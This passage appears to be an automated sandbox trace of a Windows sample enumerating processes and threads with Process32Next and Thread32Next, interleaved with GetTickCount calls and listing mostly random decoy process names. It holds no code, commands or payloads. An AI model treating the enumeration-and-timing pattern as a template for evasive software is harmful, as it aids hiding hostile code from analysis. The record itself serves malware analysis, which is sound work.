th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0113.197] GetTickCount () returned 0x2337e [0113.197] GetCurrentThreadId () returned 0x9c8 [0113.197] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0113.198] GetTickCount () returned 0x2337e [0113.198] GetCurrentThreadId () returned 0x9c8 [0113.198] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0113.199] GetTickCount () returned 0x2337e [0113.199] GetCurrentThreadId () returned 0x9c8 [0113.199] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0113.199] GetTickCount () returned 0x2337e [0113.199] GetCurrentThreadId () returned 0x9c8 [0113.199] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0113.200] GetTickCount () returned 0x2337e [0113.200] GetCurrentThreadId () returned 0x9c8 [0113.200] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0113.201] GetTickCount () returned 0x2337e [0113.201] GetCurrentThreadId () returned 0x9c8 [0113.201] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0113.202] GetTickCount () returned 0x2338d [0113.202] GetCurrentThreadId () returned 0x9c8 [0113.202] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0113.203] GetTickCount () returned 0x2338d [0113.203] GetCurrentThreadId () returned 0x9c8 [0113.203] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0113.203] GetTickCount () returned 0x2338d [0113.203] GetCurrentThreadId () returned 0x9c8 [0113.203] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0113.204] GetTickCount () returned 0x2338d [0113.204] GetCurrentThreadId () returned 0x9c8 [0113.204] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0113.205] GetTickCount () returned 0x2338d [0113.205] GetCurrentThreadId () returned 0x9c8 [0113.205] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0113.206] GetTickCount () returned 0x2338d [0113.206] GetCurrentThreadId () returned 0x9c8 [0113.206] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0113.206] GetTickCount () returned 0x2338d [0113.206] GetCurrentThreadId () returned 0x9c8 [0113.206] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0113.207] GetTickCount () returned 0x2338d [0113.207] GetCurrentThreadId () returned 0x9c8 [0113.207] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0113.208] GetTickCount () returned 0x2338d [0113.208] GetCurrentThreadId () returned 0x9c8 [0113.208] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0113.209] GetTickCount () returned 0x2338d [0113.209] GetCurrentThreadId () returned 0x9c8 [0113.209] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0113.209] GetTickCount () returned 0x2338d [0113.209] GetCurrentThreadId () returned 0x9c8 [0113.209] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.210] GetTickCount () returned 0x2338d [0113.210] GetCurrentThreadId () returned 0x9c8 [0113.210] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0113.211] GetTickCount () returned 0x2338d [0113.211] GetCurrentThreadId () returned 0x9c8 [0113.211] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.211] GetTickCount () returned 0x2338d [0113.211] GetCurrentThreadId () returned 0x9c8 [0113.212] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0113.212] GetTickCount () returned 0x2338d [0113.212] GetCurrentThreadId () returned 0x9c8 [0113.212] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0113.213] GetTickCount () returned 0x2338d [0113.213] GetCurrentThreadId () returned 0x9c8 [0113.213] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0113.214] GetTickCount () returned 0x2338d [0113.214] GetCurrentThreadId () returned 0x9c8 [0113.214] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0113.214] GetTickCount () returned 0x2338d [0113.214] GetCurrentThreadId () returned 0x9c8 [0113.214] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0113.215] GetTickCount () returned 0x2338d [0113.215] GetCurrentThreadId () returned 0x9c8 [0113.215] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.216] GetTickCount () returned 0x2338d [0113.216] GetCurrentThreadId () returned 0x9c8 [0113.216] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0113.216] GetTickCount () returned 0x2338d [0113.216] GetCurrentThreadId () returned 0x9c8 [0113.216] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0113.290] GetTickCount () returned 0x233db [0113.290] GetCurrentThreadId () returned 0x9c8 [0113.290] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x810150, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="")) returned 0 [0113.290] GetTickCount () returned 0x233db [0113.290] Thread32First (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.291] GetCurrentThreadId () returned 0x9c8 [0113.291] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.292] GetTickCount () returned 0x233db [0113.292] GetCurrentThreadId () returned 0x9c8 [0113.292] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.292] GetTickCount () returned 0x233db [0113.292] GetCurrentThreadId () returned 0x9c8 [0113.292] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.293] GetTickCount () returned 0x233db [0113.293] GetCurrentThreadId () returned 0x9c8 [0113.293] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.294] GetTickCount () returned 0x233db [0113.294] GetCurrentThreadId () returned 0x9c8 [0113.294] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.294] GetTickCount () returned 0x233db [0113.294] GetCurrentThreadId () returned 0x9c8 [0113.294] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.295] GetTickCount () returned 0x233eb [0113.295] GetCurrentThreadId () returned 0x9c8 [0113.295] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.296] GetTickCount () returned 0x233eb [0113.296] GetCurrentThreadId () returned 0x9c8 [0113.296] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.296] GetTickCount () returned 0x233eb [0113.296] GetCurrentThreadId () returned 0x9c8 [0113.297] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.297] GetTickCount () returned 0x233eb [0113.297] GetCurrentThreadId () returned 0x9c8 [0113.297] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.298] GetTickCount () returned 0x233eb [0113.298] GetCurrentThreadId () returned 0x9c8 [0113.298] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.299] GetTickCount () returned 0x233eb [0113.299] GetCurrentThreadId () returned 0x9c8 [0113.299] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.299] GetTickCount () returned 0x233eb [0113.299] GetCurrentThreadId () returned 0x9c8 [0113.300] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.300] GetTickCount () returned 0x233eb [0113.300] GetCurrentThreadId () returned 0x9c8 [0113.300] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.301] GetTickCount () returned 0x233eb [0113.301] GetCurrentThreadId () returned 0x9c8 [0113.301] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.302] GetTickCount () returned 0x233eb [0113.302] GetCurrentThreadId () returned 0x9c8 [0113.302] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.302] GetTickCount () returned 0x233eb [0113.302] GetCurrentThreadId () returned 0x9c8 [0113.302] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.303] GetTickCount () returned 0x233eb [0113.303] GetCurrentThreadId () returned 0x9c8 [0113.303] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.304] GetTickCount () returned 0x233eb [0113.304] GetCurrentThreadId () returned 0x9c8 [0113.304] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.304] GetTickCount () returned 0x233eb [0113.304] GetCurrentThreadId () returned 0x9c8 [0113.304] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.305] GetTickCount () returned 0x233eb [0113.305] GetCurrentThreadId () returned 0x9c8 [0113.305] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.306] GetTickCount () returned 0x233eb [0113.306] GetCurrentThreadId () returned 0x9c8 [0113.306] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.306] GetTickCount () returned 0x233eb [0113.306] GetCurrentThreadId () returned 0x9c8 [0113.307] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.307] GetTickCount () returned 0x233eb [0113.307] GetCurrentThreadId () returned 0x9c8 [0113.307] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.308] GetTickCount () returned 0x233eb [0113.308] GetCurrentThreadId () returned 0x9c8 [0113.308] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.309] GetTickCount () returned 0x233eb [0113.309] GetCurrentThreadId () returned 0x9c8 [0113.309] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.309] GetTickCount () returned 0x233eb [0113.309] GetCurrentThreadId () returned 0x9c8 [0113.309] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.310] GetTickCount () returned 0x233eb [0113.310] GetCurrentThreadId () returned 0x9c8 [0113.310] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.311] GetTickCount () returned 0x233fa [0113.311] GetCurrentThreadId () returned 0x9c8 [0113.311] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.312] GetTickCount () returned 0x233fa [0113.312] GetCurrentThreadId () returned 0x9c8 [0113.312] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.312] GetTickCount () returned 0x233fa [0113.312] GetCurrentThreadId () returned 0x9c8 [0113.312] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.313] GetTickCount () returned 0x233fa [0113.313] GetCurrentThreadId () returned 0x9c8 [0113.313] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.314] GetTickCount () returned 0x233fa [0113.314] GetCurrentThreadId () returned 0x9c8 [0113.314] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.314] GetTickCount () returned 0x233fa [0113.314] GetCurrentThreadId () returned 0x9c8 [0113.314] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.315] GetTickCount () returned 0x233fa [0113.315] GetCurrentThreadId () returned 0x9c8 [0113.315] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.316] GetTickCount () returned 0x233fa [0113.316] GetCurrentThreadId () returned 0x9c8 [0113.316] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.316] GetTickCount () returned 0x233fa [0113.316] GetCurrentThreadId () returned 0x9c8 [0113.316] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.317] GetTickCount () returned 0x233fa [0113.317] GetCurrentThreadId () returned 0x9c8 [0113.317] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.318] GetTickCount () returned 0x233fa [0113.318] GetCurrentThreadId () returned 0x9c8 [0113.318] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.318] GetTickCount () returned 0x233fa [0113.318] GetCurrentThreadId () returned 0x9c8 [0113.319] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.319] GetTickCount () returned 0x233fa [0113.319] GetCurrentThreadId () returned 0x9c8 [0113.319] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.320] GetTickCount () returned 0x233fa [0113.320] GetCurrentThreadId () returned 0x9c8 [0113.320] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.321] GetTickCount () returned 0x233fa [0113.321] GetCurrentThreadId () returned 0x9c8 [0113.321] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.321] GetTickCount () returned 0x233fa [0113.321] GetCurrentThreadId () returned 0x9c8 [0113.321] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.322] GetTickCount () returned 0x233fa [0113.322] GetCurrentThreadId () returned 0x9c8 [0113.322] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.323] GetTickCount () returned 0x233fa [0113.323] GetCurrentThreadId () returned 0x9c8 [0113.323] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.323] GetTickCount () returned 0x233fa [0113.323] GetCurrentThreadId () returned 0x9c8 [0113.323] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.324] GetTickCount () returned 0x233fa [0113.324] GetCurrentThreadId () returned 0x9c8 [0113.324] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.325] GetTickCount () returned 0x233fa [0113.325] GetCurrentThreadId () returned 0x9c8 [0113.325] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.325] GetTickCount () returned 0x233fa [0113.325] GetCurrentThreadId () returned 0x9c8 [0113.325] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.375] GetTickCount () returned 0x23439 [0113.375] GetCurrentThreadId () returned 0x9c8 [0113.376] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.376] GetTickCount () returned 0x23439 [0113.376] GetCurrentThreadId () returned 0x9c8 [0113.377] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.377] GetTickCount () returned 0x23439 [0113.377] GetCurrentThreadId () returned 0x9c8 [0113.377] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.378] GetTickCount () returned 0x23439 [0113.378] GetCurrentThreadId () returned 0x9c8 [0113.378] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.379] GetTickCount () returned 0x23439 [0113.379] GetCurrentThreadId () returned 0x9c8 [0113.379] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.380] GetTickCount () returned 0x23439 [0113.380] GetCurrentThreadId () returned 0x9c8 [0113.380] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.380] GetTickCount () returned 0x23439 [0113.380] GetCurrentThreadId () returned 0x9c8 [0113.380] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.381] GetTickCount () returned 0x23439 [0113.381] GetCurrentThreadId () returned 0x9c8 [0113.381] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.382] GetTickCount () returned 0x23439 [0113.382] GetCurrentThreadId () returned 0x9c8 [0113.382] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.383] GetTickCount () returned 0x23439 [0113.383] GetCurrentThreadId () returned 0x9c8 [0113.383] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.383] GetTickCount () returned 0x23439 [0113.383] GetCurrentThreadId () returned 0x9c8 [0113.383] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.384] GetTickCount () returned 0x23439 [0113.384] GetCurrentThreadId () returned 0x9c8 [0113.384] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.385] GetTickCount () returned 0x23439 [0113.385] GetCurrentThreadId () returned 0x9c8 [0113.385] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.385] GetTickCount () returned 0x23439 [0113.385] GetCurrentThreadId () returned 0x9c8 [0113.386] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.386] GetTickCount () returned 0x23439 [0113.386] GetCurrentThreadId () returned 0x9c8 [0113.386] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.387] GetTickCount () returned 0x23439 [0113.387] GetCurrentThreadId () returned 0x9c8 [0113.387] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.388] GetTickCount () returned 0x23439 [0113.388] GetCurrentThreadId () returned 0x9c8 [0113.388] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.389] GetTickCount () returned 0x23448 [0113.389] GetCurrentThreadId () returned 0x9c8 [0113.389] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.389] GetTickCount () returned 0x23448 [0113.389] GetCurrentThreadId () returned 0x9c8 [0113.389] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.390] GetTickCount () returned 0x23448 [0113.390] GetCurrentThreadId () returned 0x9c8 [0113.390] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.391] GetTickCount () returned 0x23448 [0113.391] GetCurrentThreadId () returned 0x9c8 [0113.391] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.392] GetTickCount () returned 0x23448 [0113.392] GetCurrentThreadId () returned 0x9c8 [0113.392] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.392] GetTickCount () returned 0x23448 [0113.392] GetCurrentThreadId () returned 0x9c8 [0113.392] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.393] GetTickCount () returned 0x23448 [0113.393] GetCurrentThreadId () returned 0x9c8 [0113.393] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.394] GetTickCount () returned 0x23448 [0113.394] GetCurrentThreadId () returned 0x9c8 [0113.394] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.394] GetTickCount () returned 0x23448 [0113.394] GetCurrentThreadId () returned 0x9c8 [0113.395] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.395] GetTickCount () returned 0x23448 [0113.395] GetCurrentThreadId () returned 0x9c8 [0113.395] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.396] GetTickCount () returned 0x23448 [0113.396] GetCurrentThreadId () returned 0x9c8 [0113.396] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.397] GetTickCount () returned 0x23448 [0113.397] GetCurrentThreadId () returned 0x9c8 [0113.397] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.398] GetTickCount () returned 0x23448 [0113.398] GetCurrentThreadId () returned 0x9c8 [0113.398] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.399] GetTickCount () returned 0x23448 [0113.399] GetCurrentThreadId () returned 0x9c8 [0113.399] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.399] GetTickCount () returned 0x23448 [0113.399] GetCurrentThreadId () returned 0x9c8 [0113.400] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.400] GetTickCount () returned 0x23448 [0113.400] GetCurrentThreadId () returned 0x9c8 [0113.400] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.401] GetTickCount () returned 0x23448 [0113.401] GetCurrentThreadId () returned 0x9c8 [0113.401] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.402] GetTickCount () returned 0x23448 [0113.402] GetCurrentThreadId () returned 0x9c8 [0113.402] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.403] GetTickCount () returned 0x23448 [0113.403] GetCurrentThreadId () returned 0x9c8 [0113.403] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.403] GetTickCount () returned 0x23448 [0113.403] GetCurrentThreadId () returned 0x9c8 [0113.403] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.404] GetTickCount () returned 0x23458 [0113.404] GetCurrentThreadId () returned 0x9c8 [0113.405] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.405] GetTickCount () returned 0x23458 [0113.405] GetCurrentThreadId () returned 0x9c8 [0113.405] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.406] GetTickCount () returned 0x23458 [0113.406] GetCurrentThreadId () returned 0x9c8 [0113.406] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.407] GetTickCount () returned 0x23458 [0113.407] GetCurrentThreadId () returned 0x9c8 [0113.407] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.407] GetTickCount () returned 0x23458 [0113.407] GetCurrentThreadId () returned 0x9c8 [0113.407] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.408] GetTickCount () returned 0x23458 [0113.408] GetCurrentThreadId () returned 0x9c8 [0113.408] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.409] GetTickCount () returned 0x23458 [0113.409] GetCurrentThreadId () returned 0x9c8 [0113.409] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.410] GetTickCount () returned 0x23458 [0113.410] GetCurrentThreadId () returned 0x9c8 [0113.410] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.410] GetTickCount () returned 0x23458 [0113.410] GetCurrentThreadId () returned 0x9c8 [0113.410] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.411] GetTickCount () returned 0x23458 [0113.411] GetCurrentThreadId () returned 0x9c8 [0113.411] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.412] GetTickCount () returned 0x23458 [0113.412] GetCurrentThreadId () returned 0x9c8 [0113.412] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.413] GetTickCount () returned 0x23458 [0113.413] GetCurrentThreadId () returned 0x9c8 [0113.413] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.413] GetTickCount () returned 0x23458 [0113.413] 